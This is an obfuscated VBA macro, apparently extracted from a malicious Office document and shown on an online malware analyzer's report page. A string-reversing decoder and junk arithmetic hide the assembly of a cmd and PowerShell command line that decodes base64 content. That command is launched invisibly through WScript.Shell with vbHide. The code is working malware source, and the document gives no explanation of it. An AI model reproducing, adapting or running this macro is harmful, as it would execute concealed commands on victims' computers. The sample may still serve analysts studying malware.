PozcpZj = fshu3bbnabn3("a63_qnLC44vvbuWt40FJKDHAIDAkBQZAYDAxAwMAIGAkBgZAUGAyAQZAkDAhBQMAUDAwAQOAIDA5AgNAIDAxAgZAEDA5AQNAIGA3AQZAEGA0AwNAYGAxAQNAkDA4AQNAMGAkBgNAUGAmBQNAADAlBQYAYDAhBQNAMDAlBQZAIGAkBgZAIDAmBwYAYGAlBwMAcDA0AgNAUDAxAQZAYGAjBQOS0Yi@MW", 8, 192)
HPcLszqLcNP.VOJujVAOCBAqkMaC
qXoGiIzdcH.iSbXpLIMrWHpwLhkvNnCZnIwo
HTHws = fshu3bbnabn3("(r@DiYVa)3OKAAMAMDA3AAOAQGAjBgYAcDA3AgYAYDAiBQYAUGA1AAMAkDAlBgZAEGAjBAOAgDA1AQNAUGA5AgMAkDAlBQNAcDA5AQNAgDAkBQMAMDA1AwNAIDAyAAOAIDA5AQNAEGAyAQMAADG", 2, 134)
qXoGiIzdcH.iSbXpLIMrWHpwLhkvNnCZnIwo
TamkqNLSa.pnbKcFqhrEsj
rsWvEHrW = fshu3bbnabn3("wJ)''nIoj-'X'+]3,1[)ECnEreFERPESoBREv$]gnirTs[( ( .| ))))971,731,612,04,05,54.iDFQ0F)iobprovDhwz", 20, 75)
TamkqNLSa.pnbKcFqhrEsj
hLOsGdEjpa.OcWMRGhcmZwvZHnvfX
MVVXF = fshu3bbnabn3("0Y5aSiwjiEi8D(rvDq44YGAiBgYAIDAjBQMAEDA2AgYAUGA4AAZAIDAhBgYAcDAlBwNAUDAyAAMAgDAmBAOAMDA0AQYAIDAlBQZAMGAyAAMAgDAlBgMAEDAjBQOAIGAkBgZAIDAlBAOAQGA3AQETF8w7HR", 9, 126)
hLOsGdEjpa.OcWMRGhcmZwvZHnvfX
RnkzZZiCInF.DqAvavPUzZISwiCzoYbml
iUbEqIj = fshu3bbnabn3("3vA9AQPAcHA5AAbAcGADBgVAADAxAwTAADA2AgcAcGA6BgSAcEAvBQMAUDASBQTAgFA8BgM5435a05061b3143240f3476111d29467'($(edocINucOlLaLABOLgoTGNYlA(rr(UbBw07Jwzq60QOk", 23, 127)
RnkzZZiCInF.DqAvavPUzZISwiCzoYbml
aLAWXNwHcOT.DRDjRPHXjfDiYqUpK
mkDIWZ = fshu3bbnabn3("DQqUQ$ioiRF3$SYiQKO3$i<a(A4AAOAYDAhBAZAUGA1AQMAEDAlBAOAEDAmBAOAADA1AQMAQDAyAQYAEGAlBgYAcDAxAwMAIDAiBAZAUDA3AgMAkDAhBAZAQDAiBgZAEDA2AgMAIDAhBANAQGA1AwNAcDAhBAMAUDAhBwNAcDAmBQOAIDA4AQYAEDYF", 3, 160)
aLAWXNwHcOT.DRDjRPHXjfDiYqUpK
bIqHJzYWfH.QZmsjWGLvvaOVNSlZvbfrOHwEMniz
LVsZZ = fshu3bbnabn3("G6QaVo$SOHAMDA4AwoKa$vFQYt0mWUHnCO", 18, 7)
bIqHJzYWfH.QZmsjWGLvvaOVNSlZvbfrOHwEMniz
wWVDuzajNOd.wrvkSbSITqannIliurpoka
FsEjYAJVmQ = fshu3bbnabn3("wYm4m60TAQZAEDAxAAOAQDA0AANAkDAjBQNAIGAxAAMAUGA1AgNAQDA0AgNAUGAzAAOAMDA5AQNAADA3DH_GUCAqabRApkJOU8!8", 21, 72)
wWVDuzajNOd.wrvkSbSITqannIliurpoka
RHnQEDDkV.XoEQZAjiGzjrniwMXZjQdAt
CXzOSGcstQ = fshu3bbnabn3("rlFJA84ojYkQGBYVoDAoNAkDA1AgYAEDAmBgMAYGAjBANAYDAwAAOAIGAxAQNAYDAlBQOAEDAmBQOAADw", 2, 60)
RHnQEDDkV.XoEQZAjiGzjrniwMXZjQdAt
LzbzwwhjiI = GWiCKjchwZYHDd + zqpwwiC + LKIwqNQb + ChrW(34) + KjmoIDjvsOVYk + DQqXG + iUbEqIj + wGorUWwq + LIcAzQA + HdDFSYHOlW + GQzRBu + SJTnCku + LVsZZ + XzCRkOGE + XSiIAU + SFOXKfKsp + qjNSB + jziUKs + LWVDaiSF + YJkjcBw + IwDCwEq + GqwTQ + RKOtOjSDR + HfoUoJJj + qJmwAMR + mkDIWZ + jEWIpYHG + vslNwiZi + nUYAjrW + RbFBsoIv + nuPNKuY + GKzKm + jcMwi + wnoBktCZFX + czUVzrRPb + hAKKDYshfj + fJmwGisb + wipai + iCwwOsRWaBO + UhDrXiwLTdU + iDHPXBCdiEV + ZHhPJ + iNukuHPI + MVVXF + YXXPupVcU + RRaFGz + HTHws + IVACUTN + YwhYclkOlf + TjmiXA + tEWjE + iijMjWJCRT + pcUrjhJwIDZ + uafLwqEf + cjBBQ + uofHZGr + TkpJuOu + HsTwCfB + FsEjYAJVmQ + vpCjIw + mOfwZrtudFE + HBpbisQL + AJcwRV + POzidK + CXzOSGcstQ + GcJBd + PozcpZj + EYSkcRjZ + XDzWuaZU + mJHqOHtz + uKKwZiikdch + WwSPCqTwvYw + rsWvEHrW
QAhFtjiEE = XuwT * LiiYvs / GwJDT - Round(7935925 * CSng(7176442 * CInt(PiVVj)) + HsDBXk - Round(iOuK)) - 544 / AkJjzd + jtkwpN / Rnd(SjmsZd) * (7422188 / CDbl(8556924) + (piWX / CByte(1422533 / CDbl(5384526) - 5446330 / 6498317)))
End Function

Attribute VB_Name = "LtBGCGKTX"
Sub AmHcZQXpdhAwN(TaviZwjWtTYM As String)
On Error Resume Next
cIMSzJUNz = Isal * qbEjLn / WkpAA - Round(9686013 * CSng(9145174 * CInt(TMzj)) + apkk - Round(iaTkz)) - 544 / lIDQa + dIkF / Rnd(cczIWS) * (9790459 / CDbl(8000842) + (vqaXAr / CByte(3908156 / CDbl(645353) - 6247294 / 2393427)))
DlkRPrvfZ = iozF * NHnUII / vDcuh - Round(6137277 * CSng(3045666 * CInt(iabXBA)) + LhRbnZ - Round(NHrUi)) - 544 / jhiYDj + hoVJPP / Rnd(jHMbDo) * (4308394 / CDbl(9212124) + (DjVu / CByte(4346446 / CDbl(8225193) - 4117720 / 620314)))
NzczArDUS = KXMH * XjpF / PRuQnb - Round(6093444 * CSng(8441213 * CInt(oUqTR)) + SmqiQJ - Round(lfMY)) - 544 / vUwLhl + ovCMM / Rnd(LLmdo) * (3813617 / CDbl(761451) + (KulsHp / CByte(7185626 / CDbl(1381967) - 6104695 / 2948836)))
EOikXjdnE = dAPaiJ * zVIq / UwkaMS - Round(5003974 * CSng(9331818 * CInt(jQnHzq)) + oCzBP - Round(QKiK)) - 544 / zknl + ZLukz / Rnd(XKNICz) * (7067225 / CDbl(5442066) + (jScJT / CByte(1599142 / CDbl(7730740) - 5650481 / 1770954)))
iavBEcLBv = OwDGcq * poGIT / CshiI - Round(5780858 * CSng(3403498 * CInt(kikC)) + BVGkw - Round(BsOW)) - 544 / MzSoS + WAOBtJ / Rnd(zDXdd) * (5589690 / CDbl(2604987) + (DDpKj / CByte(758026 / CDbl(2009157) - 1477945 / 3480946)))
CreateObject("WScript.Shell").Run nVDSILdwlLk + TaviZwjWtTYM + XHLkntdXOlIL + wdijvM, vbHide
swTFnSfuM = hrBh * fhwz / RiuS - Round(534972 * CSng(2490717 * CInt(JMiwMq)) + rrDBXR - Round(wQWh)) - 544 / HdsQvf + fuOBBC / Rnd(aViiB) * (3972915 / CDbl(202022) + (qYcf / CByte(5134770 / CDbl(6442944) - 1404765 / 3627454)))
NXlIFOQwm = bLFdp * zzrm / mVMs - Round(1095820 * CSng(7568656 * CInt(nPFDX)) + BiQtV - Round(Flri)) - 544 / pwNjZj + qUCaC / Rnd(QzbwI) * (4463586 / CDbl(2680652) + (ndcLm / CByte(972054 / CDbl(5381413) - 6139175 / 6396500)))
iumTCJakO = bNDZa * rdVkJ / UUUCT - Round(7107017 * CSng(4609596 * CInt(bBKnXf)) + ENqB - Round(uomL)) - 544 / DBjubG + XCaRzz / Rnd(pMbGZC) * (3152275 / CDbl(365632) + (MnQiiw / CByte(6648607 / CDbl(6118049) - 6603463 / 1721371)))
End Sub
Function LKIwqNQb()
On Error Resume Next
iAOwuDCVtuSB.qJNjuWTVWWNu
CDccqs = fshu3bbnabn3("QTtWjwZivaTS4FSMzWapn$4GkuRlQHuQza3SUaGCwi", 32, 9)
iAOwuDCVtuSB.qJNjuWTVWWNu
DUQtamzKJzu.AianRQIPwVXhpptXzTCaNP
FSpLpn = fshu3bbnabn3("CrYV7KGRplYtMDnk7uLS(f_", 9, 10)
DUQtamzKJzu.AianRQIPwVXhpptXzTCaNP
GCIAqTEZUc.NJwZWRsvdQjcJ
upofUn = fshu3bbnabn3("toMQ(6bn4wvaT%!!%NwAhdpXU", 2, 14)
GCIAqTEZUc.NJwZWRsvdQjcJ
aRJjOEHQd.jQWJHzGKoVdhQVN
juPStO = fshu3bbnabn3("DhqdU3iCUFwF% tes&&0kC7VS_ aB67iK_Pp oO8", 22, 10)
aRJjOEHQd.jQWJHzGKoVdhQVN
QnuwIGiOf.CwIttYZAAqusQDQJErOWjTmU
jZDYvW = fshu3bbnabn3("Or$3Qmq6QaFHSiAFalDYS5$3iu(iY@tA", 16, 3)
QnuwIGiOf.CwIttYZAAqusQDQJErOWjTmU
BKwwSuiPUj.hLEnAjzOiSCWDpulznDz
oKTdsBDI = fshu3bbnabn3("FwkGL7j$&&QWqOmEKOls=%wnbvtS0BUo<", 7, 19)
BKwwSuiPUj.hLEnAjzOiSCWDpulznDz
fBdrAuQhSowH.JruMwTdvjujPiiSsjk
AbEFjJnuV = fshu3bbnabn3("T$3YAkqTwrLBUC% tes<jqbUJOu@OQVG$7DJBi)F", 22, 6)
fBdrAuQhSowH.JruMwTdvjujPiiSsjk
uwmfKkAzWf.CibSlGNWtXdPA
PtwINclrjl = fshu3bbnabn3("tHQKM@6oY4rpP48kMYjvRrJ=i$VqYqR$4_RDpd", 15, 9)
uwmfKkAzWf.CibSlGNWtXdPA
TNVkJmfbv.RJXuSPWHsYtqwkUJ
wkzKCvJzIE = fshu3bbnabn3("wvYjvoib0uCPjqOKTClYwKAK4JRioQKA3mUzVY6@7V", 30, 3)
TNVkJmfbv.RJXuSPWHsYtqwkUJ
UNHbQdkMBj.wFfhlqhURPziHrXdFccKNGoEwV
arQlLoCW = fshu3bbnabn3(" k6Aiit668JOOJ@37v&&ll=%DKpQAdXQGoGkW", 6, 14)
UNHbQdkMBj.wFfhlqhURPziHrXdFccKNGoEwV
rJIUMpuJC.pLwiGJpBiNvwuWSDzFY
mWJGSlwmiQ = fshu3bbnabn3("w0wq$VapXQZcHmA% tes&&t8D$5(iYH6BO$jJ(W", 18, 15)
rJIUMpuJC.pLwiGJpBiNvwuWSDzFY
fKIJRrtn.unKrwwObdTQXOkPTGoirQz
iiPYTXBWu = fshu3bbnabn3("wv8viSkmub7vu0o<Gnv3nH !%DKp@dD", 4, 6)
fKIJRrtn.unKrwwObdTQXOkPTGoirQz
VfRZlqtIS.mDwrLfmNIWKkWWaYu
fQcisil = fshu3bbnabn3("<Mo@wVas&&s=%MYTtob4Y<j_jDP<f", 14, 9)
VfRZlqtIS.mDwrLfmNIWKkWWaYu
TrPtZMZqii.WViIjsFjXdjqd
JwfIZ = fshu3bbnabn3("@iuTV0uS4AovfBv4UokiQKp@KQZcHmA%!!%uYF", 4, 10)
TrPtZMZqii.WViIjsFjXdjqd
sSAOFTDptbQ.MpJPioOtQIGlwY
Gaijw = fshu3bbnabn3("fAj!aSUpu@YQQ7M6iqVpjtNSvaXGViaii33KaLn", 13, 7)
sSAOFTDptbQ.MpJPioOtQIGlwY
owGXZswQCKZ.HuOzApQHitRZRrPUXR
KWKBURr = fshu3bbnabn3("aD_TalF%!!%MYTtWjwZi4Euw3", 6, 13)
owGXZswQCKZ.HuOzApQHitRZRrPUXR
BariiZQtjzMX.MGoDYsLFIiajcTOaCuOw
DiauWEzf = fshu3bbnabn3("C!SSAwa4j2hY!%upBnpnoAYGYY", 7, 8)
BariiZQtjzMX.MGoDYsLFIiajcTOaCuOw
sQtZiDBlTjbp.uGvhCXrLuinNhPf
jsjzbNvmGAV = fshu3bbnabn3("BUD$$$4r$JnBdaQ$ EQOoRKw", 7, 1)
sQtZiDBlTjbp.uGvhCXrLuinNhPf
kdnKawUWoD.AtLqSjuCiSVhIHTfoZAnGVSTzRp
wDCJbcw = fshu3bbnabn3("SrJdf75KBVF% tes&7b.K", 5, 6)
kdnKawUWoD.AtLqSjuCiSVhIHTfoZAnGVSTzRp
jSqfvfBzkj.OSziXbrSdpraBtV
THROpUhC = fshu3bbnabn3("n4wQamVS@!3QA$6bj26Mv4@VH", 13, 2)
jSqfvfBzkj.OSziXbrSdpraBtV
iRVYLlPqNo.fGjshiocqntjiFtMNwzIoPwpElEv
dXoImON = fshu3bbnabn3("iGqlOUDW0@z0aWcnVvncu.Uq", 5, 7)
iRVYLlPqNo.fGjshiocqntjiFtMNwzIoPwpElEv
QanbBwitNvi.zRozqtISdENSirkGVoiiF
SOGXLnwwq = fshu3bbnabn3("ErR$ijC3JH8dotbHKYoV($0A$k$nlVdR% tes&&Fjd0vzOwv", 9, 12)
QanbBwitNvi.zRozqtISdENSirkGVoiiF
bELZEURqr.mCTWccKbbwPVhuoT
oOown = fshu3bbnabn3("_wv888F38StRCi=%upBnHR34DS35Yb$$mtLk0r3(J.", 23, 6)
bELZEURqr.mCTWccKbbwPVhuoT
NvOdzvSs.lczuvaGoAOsczLCHNVuHuf
XowttLA = fshu3bbnabn3("Gj6FAapzD4!=%AFaKGRplYtMYUPrY4VVaStwOB5oU<OVF8rl_Gn", 28, 14)
NvOdzvSs.lczuvaGoAOsczLCHNVuHuf
FpoGAwzrS.AtkIioOTfRusEUwhqS
QSUDfImYi = fshu3bbnabn3(")VQW8LSdmmtQoDzHSr3S$pfnADU", 13, 10)
FpoGAwzrS.AtkIioOTfRusEUwhqS
ArIMjaGS.VkZGYzCICQZkrY
RWQuHdkM = fshu3bbnabn3("Jd DliiDSiQoD4", 2, 3)
ArIMjaGS.VkZGYzCICQZkrY
EiGCVakVAOEz.KIKUjApfqNQPQBCV
VHzosoIKZfA = fshu3bbnabn3("AJdk@UuadTj5HAiq6PpnSoYbQFan", 8, 3)
EiGCVakVAOEz.KIKUjApfqNQPQBCV
MmhCCuEDK.iwrYiizUORnjvQmqr
FubGrGcrlwT = fshu3bbnabn3("o7lauiEJJFrKHwkG)aKAOS$bO.pUJT(n!uQ", 26, 5)
MmhCCuEDK.iwrYiizUORnjvQmqr
NjGVdorrdz.CIWrsKiCoDNLnvzioN
BdVwbVNRYBc = fshu3bbnabn3("8w5$UrJz% tes&&RPddSTj=%VDkG.dKJUVGpA", 14, 17)
NjGVdorrdz.CIWrsKiCoDNLnvzioN
sPSmIvoROHO.mKjiSTaVzYzSr
WpSXqz = fshu3bbnabn3("SlojiSFiau%!=%vdHuWvGoF@$8UBl(q8@3Grfwj$r3k@Q$", 33, 9)
sPSmIvoROHO.mKjiSTaVzYzSr
RvcZLHLXPEjN.tJCHHjVAmhqsaLJOULh
RiujbtqrVj = fshu3bbnabn3("ouFhRjmKjJJN% tesiQfa$2RFOjpJSVHF.3)TwFVbWKnj", 29, 15)
RvcZLHLXPEjN.tJCHHjVAmhqsaLJOULh
ampXGUnQRsk.jwwTbBiKVNsnrJdmTp
zumVQEpmYT = fshu3bbnabn3("4CqbiwihaZ% teOYATOjmhJKLuS KD(V6DUVhl4iw", 28, 10)
ampXGUnQRsk.jwwTbBiKVNsnrJdmTp
WFukVYdmHT.MiJtGbFEMJaEAAhGjHSJ
aXuak = fshu3bbnabn3("GBiFB7mYhdK4r$QK!l<726d7d5w_Vj4@3dK", 25, 1)
WFukVYdmHT.MiJtGbFEMJaEAAhGjHSJ
rtVtSPEVHL.tYMbYYjcLtZlE
wOjmMi = fshu3bbnabn3("DU5Spq2AWlQ%!!%qobk3bD!YQv", 12, 5)
rtVtSPEVHL.tYMbYYjcLtZlE
tQYIMdHnDjqV.zXvYFTQwaXcOjQDaiMXOF
RtslzKtBJ = fshu3bbnabn3("bQvv3nQHi%!!%iV", 2, 5)
tQYIMdHnDjqV.zXvYFTQwaXcOjQDaiMXOF
tmBMduUhbbXU.CozpXXqSjittTzYYJjkUVBvjXj
MSpCjGWzjPQ = fshu3bbnabn3("_VR7Vr0lA$%pSzQicNRRrrBT64", 3, 14)
tmBMduUhbbXU.CozpXXqSjittTzYYJjkUVBvjXj
YqrtrYaa.cuowjhdjmXCzpQfLThVIAOuTVNv
aMLTbr = fshu3bbnabn3("Gaaji4O$$rGa$!Q4$4Fiau% tesoSDWm", 6, 9)
YqrtrYaa.cuowjhdjmXCzpQfLThVIAOuTVNv
CGvPEDwBl.lrmTUsjrBqqrRzjNrHX
WoATa = fshu3bbnabn3(".CSSEn($BTMRB@0_Sz3U tes&&uvY", 4, 6)
CGvPEDwBl.lrmTUsjrBqqrRzjNrHX
jUkJFrVwwuh.DpovTMpGrjwDwMizFctzZkwLtqH
lpTqAovK = fshu3bbnabn3("7r3Oo8pS63CK44Y3waAjpOpG6VdKffJ", 9, 1)
jUkJFrVwwuh.DpovTMpGrjwDwMizFctzZkwLtqH
OzumqHSww.iOIJPCwBwpjDFNTMpnLbCzVI
XGAMAGSn = fshu3bbnabn3("6DKb06wGR@S4OHDdwY&&re=%NwAhdo", 2, 11)
OzumqHSww.iOIJPCwBwpjDFNTMpnLbCzVI
ElOWWXsPM.VoiWTjBTKpMQLBpZLCvTNopZF
wLjNJINzqn = fshu3bbnabn3("K@6k&&wo=%IijhwwzbzL%Sa63Ud$rmAF", 12, 17)
ElOWWXsPM.VoiWTjBTKpMQLBpZLCvTNopZF
HFCGWqVczsA.UPTzqLkdkkjsIRWQJmN
EnrdYqK = fshu3bbnabn3("d<0Y(EJw$AJJUJHJJFlVdR%!Uv6iaD", 7, 9)
HFCGWqVczsA.UPTzqLkdkkjsIRWQJmN
JOVPYkGnjWf.KOLsRPfLftDwIHzTQmcdLoZfQJ
wSdANJcJZZZ = fshu3bbnabn3("nlAU6DQmmSoQOdX6$F6rQ", 7, 2)
JOVPYkGnjWf.KOLsRPfLftDwIHzTQmcdLoZfQJ
hizdpoOJWRn.jJzMmjWAisDCsFifibEVAVdLj
ROjoYQiNFMM = fshu3bbnabn3("AGtontLslvV4$OGdtj!MbUv$q", 16, 6)
hizdpoOJWRn.jJzMmjWAisDCsFifibEVAVdLj
cZztuBVDn.DKDQMzRfPlcnLfZf
mbwTkzO = fshu3bbnabn3("C3RdLUa_$$8RuDn% tesHOvoDGvQO", 10, 7)
cZztuBVDn.DKDQMzRfPlcnLfZf
TErlBizaJS.aKBnIYSApzZHclriazQwOuA
FMwwLOXAW = fshu3bbnabn3("CM8$YvjoOu$&!%IijhwwzbzL%d@0iYiUv$U", 11, 14)
TErlBizaJS.aKBnIYSApzZHclriazQwOuA
pzjuHNwM.NzqXNDEZZBKwzNYasPHY
usiiipRM = fshu3bbnabn3("KaEoOSS0Rv0@vv_oAWYOfQ.rQ_k$FDS% tes&&eh=%LSdmmtBUVF", 5, 17)
pzjuHNwM.NzqXNDEZZBKwzNYasPHY
blkBvCznw.KvjZtPwQEbTAQiSirMTdFY
wSQDNsrid = fshu3bbnabn3("E_25AqWZJ=%BOjwW750UnHhVbu4$Yo6", 16, 11)
blkBvCznw.KvjZtPwQEbTAQiSirMTdFY
LKIwqNQb = RiujbtqrVj + oKTdsBDI + aMLTbr + VHzosoIKZfA + oOown + lpTqAovK + WoATa + wLjNJINzqn + AbEFjJnuV + aXuak + MSpCjGWzjPQ + PtwINclrjl + SOGXLnwwq + FubGrGcrlwT + WpSXqz + DiauWEzf + juPStO + Gaijw + wSQDNsrid + dXoImON + mWJGSlwmiQ + XGAMAGSn + mbwTkzO + XowttLA + FMwwLOXAW + wDCJbcw + CDccqs + fQcisil + zumVQEpmYT + ROjoYQiNFMM + wkzKCvJzIE + BdVwbVNRYBc + RWQuHdkM + usiiipRM + arQlLoCW + EnrdYqK + jsjzbNvmGAV + RtslzKtBJ + FSpLpn + jZDYvW + JwfIZ + upofUn + KWKBURr + QSUDfImYi + wOjmMi + wSdANJcJZZZ + THROpUhC + iiPYTXBWu
lTnTWSakD = wYzczQ * HwPG / HkTT - Round(5625611 * CSng(5666272 * CInt(mUTY)) + JMmZtj - Round(TYZEri)) - 544 / haJLjp + kMCzD / Rnd(zZQZdz) * (2519116 / CDbl(3641694) + (idOQam / CByte(5676836 / CDbl(6483985) - 6305973 / 5468699)))
End Function

Attribute VB_Name = "PjosAuOPV"
Function GWiCKjchwZYHDd()
On Error Resume Next
jZWiXsILJk.jJAoakpYuMMpGrBwjSzjIJrr
DYmvSrUzk = fshu3bbnabn3("v(uGuSU8QjD(Bop<uOB6GO8     %cEp^S^mo^C%     Oa.@0biMYbu", 12, 22)
jZWiXsILJk.jJAoakpYuMMpGrBwjSzjIJrr
rrbvjbKjIMm.GrFAKtslwhlPBvZlTjGK
NnvdKmq = fshu3bbnabn3("vo34RJuCo8Adv  &DblwjQS(.QP(vQS", 16, 3)
rrbvjbKjIMm.GrFAKtslwhlPBvZlTjGK
rnHBPjikcNp.XRaGWHLXSbYt
kQqbbzpsH = fshu3bbnabn3("wkzJ@.UB^2kjYO", 6, 1)
rnHBPjikcNp.XRaGWHLXSbYt
rwwXPBRrXcz.uQibwPhjwSzVjmoDhwKR
bFLQmwWrB = fshu3bbnabn3("l7QRpv_bo  %cEp^S ", 2, 8)
rwwXPBRrXcz.uQibwPhjwSzVjmoDhwKR
iUoloPJuwt.zPBtEbiTfkmQIPjj
QMHcWSRH = fshu3bbnabn3("qCC0T_j$o PCovUT3qGT(mo^C%   JvHmU0QAl", 10, 8)
iUoloPJuwt.zPBtEbiTfkmQIPjj
AYNVZFoaP.WXOakrvwaMwYSrzo
wuBJWDfAcN = fshu3bbnabn3("$kH4FGvi$6@8/D(", 3, 1)
AYNVZFoaP.WXOakrvwaMwYSrzo
JkPrIOwkzAji.nEBTsTGGckwlnswqOVsoluFTim
pkAFhijRLD = fshu3bbnabn3("VJ3h3fioUVnJ0       Wd$!vdQ$$vGG<OD iK3zS", 22, 7)
JkPrIOwkzAji.nEBTsTGGckwlnswqOVsoluFTim
tTYRQwnc.BniSlGmFLolMFpsJtYXDWfRsNj
cZiCJ = fshu3bbnabn3("h8@6mlb TIXNwRlonvVrmbzQjvIhPiipwSSovK@77_K07JQGS$", 21, 25)
tTYRQwnc.BniSlGmFLolMFpsJtYXDWfRsNj
YifpANNjUKwE.ZmHNJviBnkbjYXkjHRANcGtOA
IDwBnEPwaon = fshu3bbnabn3("WV8vYiV0ubQ       c/         VSqb", 4, 19)
YifpANNjUKwE.ZmHNJviBnkbjYXkjHRANcGtOA
dYdlqVVj.zWwIcCzwsKhhVfV
CzzRiXFjnBj = fshu3bbnabn3("qwEXVA WHsiRGzjljcP dmc0O6DruBAGGlr.8KKouwv4MpWT", 26, 20)
dYdlqVVj.zWwIcCzwsKhhVfV
pDJmwlWlsWG.YsZjiCkrduSqicQTHzhXFS
NVYUqkLJaQk = fshu3bbnabn3("!ofoQ$@r7 zPjizfIjAYj3V", 3, 12)
pDJmwlWlsWG.YsZjiCkrduSqicQTHzhXFS
kojVBcvN.frpPtZCkJbfqQrmbDO
UEVlWiJf = fshu3bbnabn3("oUwToYf6Do    7v0jGlbo8Q7o_K36D6", 19, 4)
kojVBcvN.frpPtZCkJbfqQrmbDO
GWiCKjchwZYHDd = CzzRiXFjnBj + cZiCJ + NVYUqkLJaQk + NnvdKmq + QMHcWSRH + kQqbbzpsH + bFLQmwWrB + DYmvSrUzk + pkAFhijRLD + wuBJWDfAcN + IDwBnEPwaon + UEVlWiJf
DtJiFoOzr = nfHS * BztH / bZiIU - Round(5830088 * CSng(4904778 * CInt(XsjizO)) + UKzlBA - Round(hmzdTN)) - 544 / PtsUjm + KBNbO / Rnd(bzhEi) * (8625053 / CDbl(5093518) + (rAHFVi / CByte(8427631 / CDbl(9294632) - 1961681 / 8321513)))
End Function

Attribute VB_Name = "zENALwT"
Function fshu3bbnabn3(ByVal RdVlFJJEi As String, QXdAQpKD, zDoQtmmdSL)
On Error Resume Next
iMITCGXHL = MZTuj * jaFYiG / oBjpO - Round(6629294 * CSng(505646 * CInt(XzPzV)) + ANcR - Round(pSBpCK)) - 544 / OjZF + kbhUS / Rnd(RIYIw) * (8016289 / CDbl(5072986) + (wNqj / CByte(2656277 / CDbl(5642281) - 1286729 / 9441736)))
QMnLiizUV = RZiV * jhrLIM / ULPzN - Round(173686 * CSng(4633188 * CInt(LcTn)) + UjGr - Round(JEmtYB)) - 544 / aZJwW + wkjrb / Rnd(jQwwVs) * (7930693 / CDbl(1048505) + (KTzbAY / CByte(9867164 / CDbl(1532210) - 8849606 / 5201824)))
nNYmbOBpK = DbdFJ * VKIR / iviQ - Round(1072986 * CSng(2018623 * CInt(Wtwcp)) + niId - Round(hTDij)) - 544 / jqtRpD + zcaERp / Rnd(WDiTR) * (4365671 / CDbl(5124531) + (MRbCrn / CByte(5125892 / CDbl(9655822) - 9522153 / 760474)))
kNCUjFEIV = vjPQFjq + StrReverse(RdVlFJJEi) + dNqjQS
u3ugkj = AiojNN + Mid(kNCUjFEIV, QXdAQpKD, zDoQtmmdSL) + wdcqmLB
YicAGuqGn = mbMzX * iKkkm / JNqwih - Round(7228900 * CSng(7702913 * CInt(uiIE)) + NiKYQt - Round(PzmAPa)) - 544 / ujCa + cUPK / Rnd(LIVz) * (2050404 / CDbl(8533943) + (EtoIzz / CByte(2216731 / CDbl(3930109) - 8632866 / 1047974)))
uQDwSHdti = EtcOwX * MHYr / EqwW - Round(7325562 * CSng(9875345 * CInt(jqGVWZ)) + HJsBrF - Round(AsKRZ)) - 544 / cwwM + NqLNB / Rnd(VizCAz) * (4637300 / CDbl(995020) + (zQtTGh / CByte(7445706 / CDbl(5458050) - 835059 / 9646069)))
mFMpRjstB = jnuH * jMFZzu / LkJLCi - Round(1222442 * CSng(7556742 * CInt(NGOPr)) + ohSI - Round(WvFM)) - 544 / mXaUh + EDzt / Rnd(fGhNn) * (2710499 / CDbl(6626849) + (jfrEX / CByte(4596244 / CDbl(4526702) - 1418149 / 8307680)))
pPQfzpPHj = tLCLP * hJbkvR / Njfr - Round(9025944 * CSng(3694515 * CInt(wJvN)) + kdvh - Round(RGGv)) - 544 / KiUbGp + wWvY / Rnd(CvSw) * (4045897 / CDbl(7679528) + (WjPpz / CByte(6041188 / CDbl(4131488) - 7227804 / 5295186)))
fshu3bbnabn3 = TpKNYZ + u3ugkj + WTNNh
NYRpdaAOT = SdYFup * wkEnm / GNti - Round(4192050 * CSng(3427472 * CInt(BaPoV)) + XHBvlM - Round(XWjpTf)) - 544 / zWcJ + bVKbkw / Rnd(zrurO) * (6834952 / CDbl(6788025) + (RPup / CByte(3637529 / CDbl(5112976) - 9063818 / 6156278)))
jhELqGbiw = uuVM * RzGPw / fSFjc - Round(8832811 * CSng(6832643 * CInt(nqUjp)) + ujloq - Round(PtIp)) - 544 / hEkdqM + wDEP / Rnd(bNMsCK) * (3049141 / CDbl(5056346) + (flll / CByte(2701439 / CDbl(3506062) - 4693978 / 6702873)))
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.